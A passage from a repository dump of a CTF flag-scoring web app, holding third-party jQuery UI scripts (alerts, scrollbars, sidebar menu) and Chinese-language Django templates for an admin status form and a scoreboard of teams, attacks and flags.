false, // Ф-ия будет выполняться по завершинию\n        fnEndHide: false, // Ф-ия будет выполняться после закрытия сообщения\n\n      };\n    };\n\n    // Выводим сообщение\n    hullabaloo.prototype.send = function(text, status) {\n      // Запустим функцию при старте\n      if (typeof this.options.fnStart == \"function\")\n        this.options.fnStart();\n\n      // Ссылка на объект\n      var self = this;\n      // Флаг для обозначение что найденна группа одинаковых алертов\n      var flag = 1;\n      // Счетчик для переборки всех алертов. Поиск одинаковых\n      var i = +this.hullabaloos.length - 1;\n      // Главный алерта если уже есть такие же алерты\n      var parent;\n\n      // Сгенерируем сообщение\n      var hullabaloo = this.generate(text, status);\n\n      // Проверим нет ли уже таких же сообщений\n      if (this.hullabaloos.length) {\n        // Пройдем до конца массива алертов, пока не найдем совпадение\n        while (i >= 0 && flag) {\n          // Если у нас присутствуют одинаковые сообщения (сгруппируем их)\n          if (this.hullabaloos[i].text == hullabaloo.text && this.hullabaloos[i].status == hullabaloo.status) {\n            // Запомним главный алерт\n            parent = this.hullabaloos[i];\n            // Флаг выхода из цикла\n            flag = 0;\n\n            // Переместим наш алерт на место гланого со смещением\n            hullabaloo.elem.css(this.options.offset.from, parseInt(parent.elem.css(this.options.offset.from)) + 4);\n            hullabaloo.elem.css(this.options.align, parseInt(parent.elem.css(this.options.align)) + 4);\n          }\n          i--;\n        }\n      }\n\n      // Проверяем, группа алертов у нас или только один\n      if (typeof parent == 'object') {\n        // Если алерт в группе то добавим его в группу и обнулим счетчик группы\n        clearTimeout(parent.timer);\n        // Зададим новый счетчик для группы\n        parent.timer = setTimeout(function() {\n          self.closed(parent);\n        }, this.options.delay);\n        hullabaloo.parent = parent;\n        // присвоим наш алерт в группу к родителю\n        parent.hullabalooGroup.push(hullabaloo);\n        // Если алер один\n      } else {\n        // Запомним позицию алерта, понадобиться для перемещения алертов вверх\n        hullabaloo.position = parseInt(hullabaloo.elem.css(this.options.offset.from));\n\n        // Активируем таймер\n        hullabaloo.timer = setTimeout(function() {\n          self.closed(hullabaloo);\n        }, this.options.delay);\n        // Добавим алерт в общий массив алертов\n        this.hullabaloos.push(hullabaloo);\n      }\n\n      // Покажем алерт пользователю\n      hullabaloo.elem.fadeIn();\n\n      // Запустим функцию по завершения\n      if (typeof this.options.fnEnd == \"function\")\n        this.options.fnEnd();\n    }\n\n    // Закрывает алерт\n    hullabaloo.prototype.closed = function(hullabaloo) {\n      var self = this;\n      var idx, i, move, next;\n\n      if(\"parent\" in hullabaloo){\n        hullabaloo = hullabaloo.parent;\n      }\n\n      // проверяем есть ли массив с алертами\n      if (this.hullabaloos !== null) {\n        // Найдем в массиве закрываемый алерт\n        idx = $.inArray(hullabaloo, this.hullabaloos);\n        if(idx == -1) return;\n\n        // Если это група алертов, то закроем все\n        if (!!hullabaloo.hullabalooGroup && hullabaloo.hullabalooGroup.length) {\n          for (i = 0; i < hullabaloo.hullabalooGroup.length; i++) {\n            // закрыть алерт\n            $(hullabaloo.hullabalooGroup[i].elem).remove();\n          }\n        }\n\n        // Закрываем наш алерт\n        $(this.hullabaloos[idx].elem).fadeOut(\"slow\", function(){\n          this.remove();\n        });\n\n        if (idx !== -1) {\n          next = idx + 1;\n          // Если в массиве есть другие алерты, поднимем их на место закрытого\n          if (this.hullabaloos.length > 1 && next < this.hullabaloos.length) {\n            // Отнимаем верхнюю гранизу закрытого алерта от верхней границы следующего алерта\n            // и расчитываем на сколько двигать все алерты\n            move = this.hullabaloos[next].position - this.hullabaloos[idx].position;\n\n            // двигаем все алерты, которые идут за закрытым\n            for (i = idx; i < this.hullabaloos.length; i++) {\n              this.animate(self.hullabaloos[i], parseInt(self.hullabaloos[i].position) - move);\n              self.hullabaloos[i].position = parseInt(self.hullabaloos[i].position) - move\n            }\n          }\n\n          // Удалим закрытый алерт из массива с алертами\n          this.hullabaloos.splice(idx, 1);\n\n          // Запустим функцию после закрытия сообщения\n          if (typeof this.options.fnEndHide == \"function\")\n            this.options.fnEndHide();\n        }\n      }\n    }\n\n\n    // Анимация для подъема алертов вверх\n    hullabaloo.prototype.animate = function(hullabaloo, move) {\n      var self = this;\n      var timer,\n        position, // Верх алерта, который тащим\n        i, // Счетчик для перебора группы алертов\n        group = 0; // Обозначение, группа алертов или одиночный\n\n      // Верх / Низ алерта, который тащим\n      position = parseInt(hullabaloo.elem.css(self.options.offset.from));\n      // Если это группа алертов\n      group = hullabaloo.hullabalooGroup.length;\n\n      // Запустим таймер\n      timer = setInterval(frame, 2);\n      // Ф-ия для таймера\n      function frame() {\n        if (position == move) {\n          clearInterval(timer);\n        } else {\n          position--;\n          hullabaloo.elem.css(self.options.offset.from, position);\n\n          // Если это группа алертов\n          if (group) {\n            for (i = 0; i < group; i++) {\n              hullabaloo.hullabalooGroup[i].elem.css(self.options.offset.from, position + 5);\n            }\n          }\n        }\n      }\n    }\n\n\n    // Генерация алерта на странице\n    hullabaloo.prototype.generate = function(text, status) {\n      var alertsObj = {\n        icon: \"\", // Иконка\n        status: status || this.options.status, // Статус\n        text: text || this.options.text, // Тект\n        elem: $(\"<div>\"), // HTML код самого алерта\n\n        // Группировка одинаковых алертов\n        hullabalooGroup: []\n      };\n      var option, // Настройки алерта\n          offsetAmount, // Отступы алерта\n          css; // CSS свойства алерта\n          self = this;\n\n      option = this.options;\n\n      // Добавим дополнительный класс\n      alertsObj.elem.attr(\"class\", \"hullabaloo alert \"+option.alertClass);\n\n      // Статус\n      alertsObj.elem.addClass(\"alert-\" + alertsObj.status);\n\n      // Кнопка закрытия сообщения\n      if (option.allow_dismiss) {\n        alertsObj.elem.addClass(\"alert-dismissible\");\n        alertsObj.elem.append(\"<button class=\\\"close\\\" type=\\\"button\\\" id=\\\"hullabalooClose\\\" aria-label=\\\"Close\\\"><span aria-hidden=\\\"true\\\">&times;</span></button>\");\n        $( \"#hullabalooClose\", $(alertsObj.elem) ).bind( \"click\", function(){\n          self.closed(alertsObj);\n        });\n      }\n\n      // Icon\n      switch (alertsObj.status) {\n        case \"success\":\n          alertsObj.icon = option.icon.success;\n          break;\n        case \"info\":\n          alertsObj.icon = option.icon.info;\n          break;\n        case \"danger\":\n          alertsObj.icon = option.icon.danger;\n          break;\n        case \"light\":\n          alertsObj.icon = option.icon.light;\n          break;\n        case \"dark\":\n          alertsObj.icon = option.icon.dark;\n          break;\n        default:\n          alertsObj.icon = option.icon.warning;\n      }\n\n      // Добавим текст в сообщение\n      alertsObj.elem.append(\"<i class=\\\"\" + alertsObj.icon + \"\\\"></i> \" + alertsObj.text);\n\n      // Присвоим отступ от верха\n      offsetAmount = option.offset.amount;\n      // Если есть другие алерты то прибавим к отступу их высоту\n      $(\".hullabaloo\").each(function() {\n        return offsetAmount = Math.max(offsetAmount, parseInt($(this).css(option.offset.from)) + $(this).outerHeight() + option.stackup_spacing);\n      });\n\n      // Добавим CSS стили\n      css = {\n        \"position\": (option.ele === \"body\" ? \"fixed\" : \"absolute\"),\n        \"margin\": 0,\n        \"z-index\": \"9999\",\n        \"display\": \"none\"\n      };\n      css[option.offset.from] = offsetAmount + \"px\";\n      alertsObj.elem.css(css);\n\n      if (option.width !== \"auto\") {\n        alertsObj.elem.css(\"width\", option.width + \"px\");\n      }\n      $(option.ele).append(alertsObj.elem);\n      switch (option.align) {\n        case \"center\":\n          alertsObj.elem.css({\n            \"left\": \"50%\",\n            \"margin-left\": \"-\" + (alertsObj.elem.outerWidth() / 2) + \"px\"\n          });\n          break;\n        case \"left\":\n          alertsObj.elem.css(\"left\", \"20px\");\n          break;\n        default:\n          alertsObj.elem.css(\"right\", \"20px\");\n      }\n\n      return alertsObj;\n    };\n\n    return hullabaloo;\n  };\n  return init(root);\n});\n"
  },
  {
    "path": "flag_server/webapps/static/js/jquery.slimscroll.js",
    "content": "!function(e){e.fn.extend({slimScroll:function(i){var o={width:\"auto\",height:\"250px\",size:\"7px\",color:\"#000\",position:\"right\",distance:\"1px\",start:\"top\",opacity:.4,alwaysVisible:!1,disableFadeOut:!1,railVisible:!1,railColor:\"#333\",railOpacity:.2,railDraggable:!0,railClass:\"slimScrollRail\",barClass:\"slimScrollBar\",wrapperClass:\"slimScrollDiv\",allowPageScroll:!1,wheelStep:20,touchScrollStep:200,borderRadius:\"7px\",railBorderRadius:\"7px\"},s=e.extend(o,i);return this.each(function(){function o(t){if(h){var t=t||window.event,i=0;t.wheelDelta&&(i=-t.wheelDelta/120),t.detail&&(i=t.detail/3);var o=t.target||t.srcTarget||t.srcElement;e(o).closest(\".\"+s.wrapperClass).is(x.parent())&&r(i,!0),t.preventDefault&&!y&&t.preventDefault(),y||(t.returnValue=!1)}}function r(e,t,i){y=!1;var o=e,r=x.outerHeight()-R.outerHeight();if(t&&(o=parseInt(R.css(\"top\"))+e*parseInt(s.wheelStep)/100*R.outerHeight(),o=Math.min(Math.max(o,0),r),o=e>0?Math.ceil(o):Math.floor(o),R.css({top:o+\"px\"})),v=parseInt(R.css(\"top\"))/(x.outerHeight()-R.outerHeight()),o=v*(x[0].scrollHeight-x.outerHeight()),i){o=e;var a=o/x[0].scrollHeight*x.outerHeight();a=Math.min(Math.max(a,0),r),R.css({top:a+\"px\"})}x.scrollTop(o),x.trigger(\"slimscrolling\",~~o),n(),c()}function a(e){window.addEventListener?(e.addEventListener(\"DOMMouseScroll\",o,!1),e.addEventListener(\"mousewheel\",o,!1)):document.attachEvent(\"onmousewheel\",o)}function l(){f=Math.max(x.outerHeight()/x[0].scrollHeight*x.outerHeight(),m),R.css({height:f+\"px\"});var e=f==x.outerHeight()?\"none\":\"block\";R.css({display:e})}function n(){if(l(),clearTimeout(p),v==~~v){if(y=s.allowPageScroll,b!=v){var e=0==~~v?\"top\":\"bottom\";x.trigger(\"slimscroll\",e)}}else y=!1;return b=v,f>=x.outerHeight()?void(y=!0):(R.stop(!0,!0).fadeIn(\"fast\"),void(s.railVisible&&E.stop(!0,!0).fadeIn(\"fast\")))}function c(){s.alwaysVisible||(p=setTimeout(function(){s.disableFadeOut&&h||u||d||(R.fadeOut(\"slow\"),E.fadeOut(\"slow\"))},1e3))}var h,u,d,p,g,f,v,b,w=\"<div></div>\",m=30,y=!1,x=e(this);if(x.parent().hasClass(s.wrapperClass)){var C=x.scrollTop();if(R=x.closest(\".\"+s.barClass),E=x.closest(\".\"+s.railClass),l(),e.isPlainObject(i)){if(\"height\"in i&&\"auto\"==i.height){x.parent().css(\"height\",\"auto\"),x.css(\"height\",\"auto\");var H=x.parent().parent().height();x.parent().css(\"height\",H),x.css(\"height\",H)}if(\"scrollTo\"in i)C=parseInt(s.scrollTo);else if(\"scrollBy\"in i)C+=parseInt(s.scrollBy);else if(\"destroy\"in i)return R.remove(),E.remove(),void x.unwrap();r(C,!1,!0)}}else if(!(e.isPlainObject(i)&&\"destroy\"in i)){s.height=\"auto\"==s.height?x.parent().height():s.height;var S=e(w).addClass(s.wrapperClass).css({position:\"relative\",overflow:\"hidden\",width:s.width,height:s.height});x.css({overflow:\"hidden\",width:s.width,height:s.height});var E=e(w).addClass(s.railClass).css({width:s.size,height:\"100%\",position:\"absolute\",top:0,display:s.alwaysVisible&&s.railVisible?\"block\":\"none\",\"border-radius\":s.railBorderRadius,background:s.railColor,opacity:s.railOpacity,zIndex:90}),R=e(w).addClass(s.barClass).css({background:s.color,width:s.size,position:\"absolute\",top:0,opacity:s.opacity,display:s.alwaysVisible?\"block\":\"none\",\"border-radius\":s.borderRadius,BorderRadius:s.borderRadius,MozBorderRadius:s.borderRadius,WebkitBorderRadius:s.borderRadius,zIndex:99}),D=\"right\"==s.position?{right:s.distance}:{left:s.distance};E.css(D),R.css(D),x.wrap(S),x.parent().append(R),x.parent().append(E),s.railDraggable&&R.bind(\"mousedown\",function(i){var o=e(document);return d=!0,t=parseFloat(R.css(\"top\")),pageY=i.pageY,o.bind(\"mousemove.slimscroll\",function(e){currTop=t+e.pageY-pageY,R.css(\"top\",currTop),r(0,R.position().top,!1)}),o.bind(\"mouseup.slimscroll\",function(e){d=!1,c(),o.unbind(\".slimscroll\")}),!1}).bind(\"selectstart.slimscroll\",function(e){return e.stopPropagation(),e.preventDefault(),!1}),E.hover(function(){n()},function(){c()}),R.hover(function(){u=!0},function(){u=!1}),x.hover(function(){h=!0,n(),c()},function(){h=!1,c()}),x.bind(\"touchstart\",function(e,t){e.originalEvent.touches.length&&(g=e.originalEvent.touches[0].pageY)}),x.bind(\"touchmove\",function(e){if(y||e.originalEvent.preventDefault(),e.originalEvent.touches.length){var t=(g-e.originalEvent.touches[0].pageY)/s.touchScrollStep;r(t,!0),g=e.originalEvent.touches[0].pageY}}),l(),\"bottom\"===s.start?(R.css({top:x.outerHeight()-R.outerHeight()}),r(0,!0)):\"top\"!==s.start&&(r(e(s.start).position().top,null,!0),s.alwaysVisible||R.hide()),a(this)}}),this}}),e.fn.extend({slimscroll:e.fn.slimScroll})}(jQuery);"
  },
  {
    "path": "flag_server/webapps/static/js/sidebarmenu.js",
    "content": "/*\nTemplate Name: Admin Press Admin\nAuthor: Themedesigner\nEmail: niravjoshi87@gmail.com\nFile: js\n*/\n(function (global, factory) {\n  if (typeof define === \"function\" && define.amd) {\n    define(['jquery'], factory);\n  } else if (typeof exports !== \"undefined\") {\n    factory(require('jquery'));\n  } else {\n    var mod = {\n      exports: {}\n    };\n    factory(global.jquery);\n    global.metisMenu = mod.exports;\n  }\n})(this, function (_jquery) {\n  'use strict';\n\n  var _jquery2 = _interopRequireDefault(_jquery);\n\n  function _interopRequireDefault(obj) {\n    return obj && obj.__esModule ? obj : {\n      default: obj\n    };\n  }\n\n  var _typeof = typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\" ? function (obj) {\n    return typeof obj;\n  } : function (obj) {\n    return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj;\n  };\n\n  function _classCallCheck(instance, Constructor) {\n    if (!(instance instanceof Constructor)) {\n      throw new TypeError(\"Cannot call a class as a function\");\n    }\n  }\n\n  var Util = function ($) {\n    var transition = false;\n\n    var TransitionEndEvent = {\n      WebkitTransition: 'webkitTransitionEnd',\n      MozTransition: 'transitionend',\n      OTransition: 'oTransitionEnd otransitionend',\n      transition: 'transitionend'\n    };\n\n    function getSpecialTransitionEndEvent() {\n      return {\n        bindType: transition.end,\n        delegateType: transition.end,\n        handle: function handle(event) {\n          if ($(event.target).is(this)) {\n            return event.handleObj.handler.apply(this, arguments);\n          }\n          return undefined;\n        }\n      };\n    }\n\n    function transitionEndTest() {\n      if (window.QUnit) {\n        return false;\n      }\n\n      var el = document.createElement('mm');\n\n      for (var name in TransitionEndEvent) {\n        if (el.style[name] !== undefined) {\n          return {\n            end: TransitionEndEvent[name]\n          };\n        }\n      }\n\n      return false;\n    }\n\n    function transitionEndEmulator(duration) {\n      var _this2 = this;\n\n      var called = false;\n\n      $(this).one(Util.TRANSITION_END, function () {\n        called = true;\n      });\n\n      setTimeout(function () {\n        if (!called) {\n          Util.triggerTransitionEnd(_this2);\n        }\n      }, duration);\n\n      return this;\n    }\n\n    function setTransitionEndSupport() {\n      transition = transitionEndTest();\n      $.fn.emulateTransitionEnd = transitionEndEmulator;\n\n      if (Util.supportsTransitionEnd()) {\n        $.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent();\n      }\n    }\n\n    var Util = {\n      TRANSITION_END: 'mmTransitionEnd',\n\n      triggerTransitionEnd: function triggerTransitionEnd(element) {\n        $(element).trigger(transition.end);\n      },\n      supportsTransitionEnd: function supportsTransitionEnd() {\n        return Boolean(transition);\n      }\n    };\n\n    setTransitionEndSupport();\n\n    return Util;\n  }(jQuery);\n\n  var MetisMenu = function ($) {\n\n    var NAME = 'metisMenu';\n    var DATA_KEY = 'metisMenu';\n    var EVENT_KEY = '.' + DATA_KEY;\n    var DATA_API_KEY = '.data-api';\n    var JQUERY_NO_CONFLICT = $.fn[NAME];\n    var TRANSITION_DURATION = 350;\n\n    var Default = {\n      toggle: true,\n      preventDefault: true,\n      activeClass: 'active',\n      collapseClass: 'collapse',\n      collapseInClass: 'in',\n      collapsingClass: 'collapsing',\n      triggerElement: 'a',\n      parentTrigger: 'li',\n      subMenu: 'ul'\n    };\n\n    var Event = {\n      SHOW: 'show' + EVENT_KEY,\n      SHOWN: 'shown' + EVENT_KEY,\n      HIDE: 'hide' + EVENT_KEY,\n      HIDDEN: 'hidden' + EVENT_KEY,\n      CLICK_DATA_API: 'click' + EVENT_KEY + DATA_API_KEY\n    };\n\n    var MetisMenu = function () {\n      function MetisMenu(element, config) {\n        _classCallCheck(this, MetisMenu);\n\n        this._element = element;\n        this._config = this._getConfig(config);\n        this._transitioning = null;\n\n        this.init();\n      }\n\n      MetisMenu.prototype.init = function init() {\n        var self = this;\n        $(this._element).find(this._config.parentTrigger + '.' + this._config.activeClass).has(this._config.subMenu).children(this._config.subMenu).attr('aria-expanded', true).addClass(this._config.collapseClass + ' ' + this._config.collapseInClass);\n\n        $(this._element).find(this._config.parentTrigger).not('.' + this._config.activeClass).has(this._config.subMenu).children(this._config.subMenu).attr('aria-expanded', false).addClass(this._config.collapseClass);\n\n        $(this._element).find(this._config.parentTrigger).has(this._config.subMenu).children(this._config.triggerElement).on(Event.CLICK_DATA_API, function (e) {\n          var _this = $(this);\n          var _parent = _this.parent(self._config.parentTrigger);\n          var _siblings = _parent.siblings(self._config.parentTrigger).children(self._config.triggerElement);\n          var _list = _parent.children(self._config.subMenu);\n          if (self._config.preventDefault) {\n            e.preventDefault();\n          }\n          if (_this.attr('aria-disabled') === 'true') {\n            return;\n          }\n          if (_parent.hasClass(self._config.activeClass)) {\n            _this.attr('aria-expanded', false);\n            self._hide(_list);\n          } else {\n            self._show(_list);\n            _this.attr('aria-expanded', true);\n            if (self._config.toggle) {\n              _siblings.attr('aria-expanded', false);\n            }\n          }\n\n          if (self._config.onTransitionStart) {\n            self._config.onTransitionStart(e);\n          }\n        });\n      };\n\n      MetisMenu.prototype._show = function _show(element) {\n        if (this._transitioning || $(element).hasClass(this._config.collapsingClass)) {\n          return;\n        }\n        var _this = this;\n        var _el = $(element);\n\n        var startEvent = $.Event(Event.SHOW);\n        _el.trigger(startEvent);\n\n        if (startEvent.isDefaultPrevented()) {\n          return;\n        }\n\n        _el.parent(this._config.parentTrigger).addClass(this._config.activeClass);\n\n        if (this._config.toggle) {\n          this._hide(_el.parent(this._config.parentTrigger).siblings().children(this._config.subMenu + '.' + this._config.collapseInClass).attr('aria-expanded', false));\n        }\n\n        _el.removeClass(this._config.collapseClass).addClass(this._config.collapsingClass).height(0);\n\n        this.setTransitioning(true);\n\n        var complete = function complete() {\n\n          _el.removeClass(_this._config.collapsingClass).addClass(_this._config.collapseClass + ' ' + _this._config.collapseInClass).height('').attr('aria-expanded', true);\n\n          _this.setTransitioning(false);\n\n          _el.trigger(Event.SHOWN);\n        };\n\n        if (!Util.supportsTransitionEnd()) {\n          complete();\n          return;\n        }\n\n        _el.height(_el[0].scrollHeight).one(Util.TRANSITION_END, complete).emulateTransitionEnd(TRANSITION_DURATION);\n      };\n\n      MetisMenu.prototype._hide = function _hide(element) {\n\n        if (this._transitioning || !$(element).hasClass(this._config.collapseInClass)) {\n          return;\n        }\n        var _this = this;\n        var _el = $(element);\n\n        var startEvent = $.Event(Event.HIDE);\n        _el.trigger(startEvent);\n\n        if (startEvent.isDefaultPrevented()) {\n          return;\n        }\n\n        _el.parent(this._config.parentTrigger).removeClass(this._config.activeClass);\n        _el.height(_el.height())[0].offsetHeight;\n\n        _el.addClass(this._config.collapsingClass).removeClass(this._config.collapseClass).removeClass(this._config.collapseInClass);\n\n        this.setTransitioning(true);\n\n        var complete = function complete() {\n          if (_this._transitioning && _this._config.onTransitionEnd) {\n            _this._config.onTransitionEnd();\n          }\n\n          _this.setTransitioning(false);\n          _el.trigger(Event.HIDDEN);\n\n          _el.removeClass(_this._config.collapsingClass).addClass(_this._config.collapseClass).attr('aria-expanded', false);\n        };\n\n        if (!Util.supportsTransitionEnd()) {\n          complete();\n          return;\n        }\n\n        _el.height() == 0 || _el.css('display') == 'none' ? complete() : _el.height(0).one(Util.TRANSITION_END, complete).emulateTransitionEnd(TRANSITION_DURATION);\n      };\n\n      MetisMenu.prototype.setTransitioning = function setTransitioning(isTransitioning) {\n        this._transitioning = isTransitioning;\n      };\n\n      MetisMenu.prototype.dispose = function dispose() {\n        $.removeData(this._element, DATA_KEY);\n\n        $(this._element).find(this._config.parentTrigger).has(this._config.subMenu).children(this._config.triggerElement).off('click');\n\n        this._transitioning = null;\n        this._config = null;\n        this._element = null;\n      };\n\n      MetisMenu.prototype._getConfig = function _getConfig(config) {\n        config = $.extend({}, Default, config);\n        return config;\n      };\n\n      MetisMenu._jQueryInterface = function _jQueryInterface(config) {\n        return this.each(function () {\n          var $this = $(this);\n          var data = $this.data(DATA_KEY);\n          var _config = $.extend({}, Default, $this.data(), (typeof config === 'undefined' ? 'undefined' : _typeof(config)) === 'object' && config);\n\n          if (!data && /dispose/.test(config)) {\n            this.dispose();\n          }\n\n          if (!data) {\n            data = new MetisMenu(this, _config);\n            $this.data(DATA_KEY, data);\n          }\n\n          if (typeof config === 'string') {\n            if (data[config] === undefined) {\n              throw new Error('No method named \"' + config + '\"');\n            }\n            data[config]();\n          }\n        });\n      };\n\n      return MetisMenu;\n    }();\n\n    /**\n     * ------------------------------------------------------------------------\n     * jQuery\n     * ------------------------------------------------------------------------\n     */\n\n    $.fn[NAME] = MetisMenu._jQueryInterface;\n    $.fn[NAME].Constructor = MetisMenu;\n    $.fn[NAME].noConflict = function () {\n      $.fn[NAME] = JQUERY_NO_CONFLICT;\n      return MetisMenu._jQueryInterface;\n    };\n    return MetisMenu;\n  }(jQuery);\n});"
  },
  {
    "path": "flag_server/webapps/templates/admin.html",
    "content": "{% extends 'base.html' %}\n{% load static %}\n\n{% block title %}管理员{% endblock %}\n\n{% block style %}\n    <!-- Bootstrap Core CSS -->\n    <link href=\"{% static 'css/bootstrap.min.css' %}\" rel=\"stylesheet\">\n    <!-- Custom CSS -->\n    <link href=\"{% static 'css/helper.css' %}\" rel=\"stylesheet\">\n    <link href=\"{% static 'css/style.css' %}\" rel=\"stylesheet\">\n    <link href=\"{% static 'css/semantic.ui.min.css' %}\" rel=\"stylesheet\">\n{% endblock %}\n\n{% block body %}\n    <body class=\"fix-header fix-sidebar\">\n    <!-- Preloader - style you can find in spinners.css -->\n    <div class=\"preloader\">\n        <svg class=\"circular\" viewBox=\"25 25 50 50\">\n            <circle class=\"path\" cx=\"50\" cy=\"50\" r=\"20\" fill=\"none\" stroke-width=\"2\" stroke-miterlimit=\"10\"/>\n        </svg>\n    </div>\n    <!-- Main wrapper  -->\n    <div id=\"main-wrapper\">\n\n        <div class=\"unix-login\">\n            <div class=\"container-fluid\">\n                <div class=\"row justify-content-center\">\n                    <div class=\"col-lg-4\">\n                        <div class=\"login-content card\" style=\"opacity: .50;\">\n                            <div class=\"login-form\">\n                                <h2 style=\"-ms-text-align-last: center;text-align-last: center;: center;\">管理员界面</h2>\n                                <form class=\"ui form\" method=\"post\">\n                                    <div class=\"field\">\n                                        <label>靶机编号</label>\n                                        <select name=\"user_name\" class=\"ui fluid normal dropdown\" id=\"user_name\">\n                                            <option value=\"\">靶机编号\n                                            </option>\n\n                                            {% for foo in status %}\n                                                <option value=\"{{ foo.user_name }}\">{{ foo.user_name }}</option>\n                                            {% endfor %}\n                                        </select>\n                                    </div><!-- \n                                    <div class=\"field\">\n                                        <label>靶机flag</label>\n                                        <div class=\"ui input\">\n                                            <input type=\"text\" placeholder=\"靶机flag\" name=\"flag_num\" id=\"token1\">\n                                        </div>\n                                    </div> -->\n                                    <div class=\"field\">\n                                        <label>是否宕机</label>\n                                        <select name=\"run\" class=\"ui fluid normal dropdown\">\n                                            <option value=\"1\">运行正常</option>\n                                            <option value=\"0\">已宕机</option>\n                                        </select>\n                                    </div>\n                                    <button type=\"submit\" class=\"btn btn-primary btn-flat m-b-30 m-t-30\">提交\n                                    </button>\n                                    <a href=\"{% url 'admin_table' %}\" style=\"margin-left: 78%\" target=\"_blank\">查看总数据</a>\n                                    <div class=\"ui error message\"></div>\n                                </form>\n                            </div>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n\n    </div>\n    <!-- End Wrapper -->\n    <!-- All Jquery -->\n    <script src=\"{% static 'js/jquery.min.js' %}\"></script>\n    <!-- Bootstrap tether Core JavaScript -->\n    <script src=\"{% static 'js/popper.min.js' %}\"></script>\n    <script src=\"{% static 'js/bootstrap.min.js' %}\"></script>\n    <!-- slimscrollbar scrollbar JavaScript -->\n    <script src=\"{% static 'js/jquery.slimscroll.js' %}\"></script>\n    <!--stickey kit -->\n    <script src=\"{% static 'js/sticky-kit.min.js' %}\"></script>\n    <!--Custom JavaScript -->\n    <script src=\"{% static 'js/custom.min.js' %}\"></script>\n    <script src=\"{% static 'js/semantic.ui.min.js' %}\"></script>\n    <script>\n        $('.ui.form')\n            .form({\n                on: 'blur',\n                fields: {\n                    flag: {\n                        identifier: 'user_name',\n                        rules: [\n                            {\n                                type: 'minLength[1]',\n                                prompt: '请选择靶机编号'\n                            },\n                        ]\n                    },\n                    token: {\n                        identifier: 'token1',\n                        rules: [\n                            {\n                                type: 'minLength[6]',\n                                prompt: 'token长度至少为6'\n                            },\n                        ]\n                    },\n                }\n            });\n        $('.ui.dropdown').dropdown();\n        $('.ui.fluid.normal.dropdown').dropdown();\n    </script>\n    </body>\n{% endblock %}\n\n"
  },
  {
    "path": "flag_server/webapps/templates/admin_table.html",
    "content": "{% extends 'base.html' %}\n{% load static %}\n\n{% block title %}排行榜{% endblock %}\n\n{% block style %}\n    <!-- Bootstrap Core CSS -->\n    <link href=\"{% static 'css/bootstrap.min.css' %}\" rel=\"stylesheet\">\n    <!-- Custom CSS -->\n    <link href=\"{% static 'css/helper.css' %}\" rel=\"stylesheet\">\n    <link href=\"{% static 'css/style.css' %}\" rel=\"stylesheet\">\n    <link href=\"{% static 'css/semantic.ui.min.css' %}\" rel=\"stylesheet\">\n    <style rel=\"stylesheet\">\n        .ui.compact.table td {\n            font-size: 1em;\n            padding-top: 0.1em;\n            padding-bottom: 0.1em;\n            color: #000;\n        }\nbody{ font-size:18px; text-align:center;} \ntable tbody {\n        display: block;\n        height: 200px;\n        overflow-y: scroll;\n            }             \ntable thead,\ntbody tr {\n        display: table;\n        width: 100%;\n        table-layout: fixed;\n            }\n/*关键设置：滚动条默认宽度是16px 将thead的宽度减16px*/\ntable thead {\n        width: calc( 100% - 1em)\n             }\n    </style>\n{% endblock %}\n\n{% block body %}\n    <body class=\"fix-header fix-sidebar\">\n    <!-- Preloader - style you can find in spinners.css -->\n    <div class=\"preloader\">\n        <svg class=\"circular\" viewBox=\"25 25 50 50\">\n            <circle class=\"path\" cx=\"50\" cy=\"50\" r=\"20\" fill=\"none\" stroke-width=\"2\" stroke-miterlimit=\"10\"/>\n        </svg>\n    </div>\n    <!-- Main wrapper  -->\n    <div id=\"main-wrapper\">\n\n        <div class=\"unix-login\">\n            <div class=\"container-fluid\">\n                <div class=\"row justify-content-center\">\n                    <div class=\"col-lg-8\">\n                        <div class=\"card\" style=\"margin-top: 00px;opacity: .70;\">\n                            <table class=\"ui red compact table\">得分情况\n                                <thead>\n                                <tr>\n                                    <th>排行</th>\n                                    <th>队伍名称</th>\n                                    <th>队伍得分</th>\n                                    <th>靶机状态</th>\n                                    <th>队伍token</th>\n\n\n                                </tr>\n                                </thead>\n                                <tbody id=\"tab1\">\n                                </tbody>\n                            </table>\n                        </div>\n                        <div class=\"card\" style=\"margin-top: 0px;opacity: .70;\">\n                            <table class=\"ui teal compact table\">状态日志\n                                <thead>\n                                <tr>\n                                    <th>轮次</th>\n                                    <th>攻击队伍</th>\n                                    <th>被攻击队伍</th>\n                                    <th>攻击时间</th>\n                                    <th>flag值</th>\n                                    <th>返回信息</th>\n                                    <th>攻击得分</th>\n                                </tr>\n                                </thead>\n                                <tbody id=\"tab2\">\n                                </tbody>\n                            </table>\n                        </div>\n                        <div class=\"card\" style=\"margin-top: 0px;opacity: .70;\">\n                            <table class=\"ui teal compact table\">靶机flag状态\n                                <thead>\n                                <tr>\n                                    <th>轮次</th>\n                                    <th>靶机编号</th>\n                                    <th>靶机flag</th>\n                                    <th>flag 是否有效</th>\n                                </tr>\n                                </thead>\n                                <tbody id=\"tab3\">\n                                </tbody>\n                            </table>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n\n    </div>\n    <!-- End Wrapper -->\n    <!-- All Jquery -->\n    <script src=\"{% static 'js/jquery.min.js' %}\"></script>\n    <!-- Bootstrap tether Core JavaScript -->\n    <script src=\"{% static 'js/popper.min.js' %}\"></script>\n    <script src=\"{% static 'js/bootstrap.min.js' %}\"></script>\n    <!-- slimscrollbar scrollbar JavaScript -->\n    <script src=\"{% static 'js/jquery.slimscroll.js' %}\"></script>\n    <!--stickey kit -->\n    <script src=\"{% static 'js/sticky-kit.min.js' %}\"></script>\n    <!--Custom JavaScript -->\n    <script src=\"{% static 'js/custom.min.js' %}\"></script>\n    <script src=\"{% static 'js/semantic.ui.min.js' %}\"></script>\n    </body>\n    <script>\n        function reload(url, tableid) {\n            temp = $.ajax({url: url, async: false});\n            console.log(temp);\n            h1 = temp.responseText;\n            $('#'+tableid).html(h1);\n        }\n\n\n        $(document).ready(function () {\n            reload('/admin_api1/','tab1');\n            reload('/admin_api2/','tab2');\n            reload('/admin_api3/','tab3');\n            setInterval(\"reload('/admin_api1/','tab1')\", 50000);\n            setInterval(\"reload('/admin_api2/','tab2')\", 50000);\n            setInterval(\"reload('/admin_api3/','tab3')\", 100000);\n            //setTimeout(function(){AutoReload();}, 1000);\n        });\n    </script>\n{% endblock 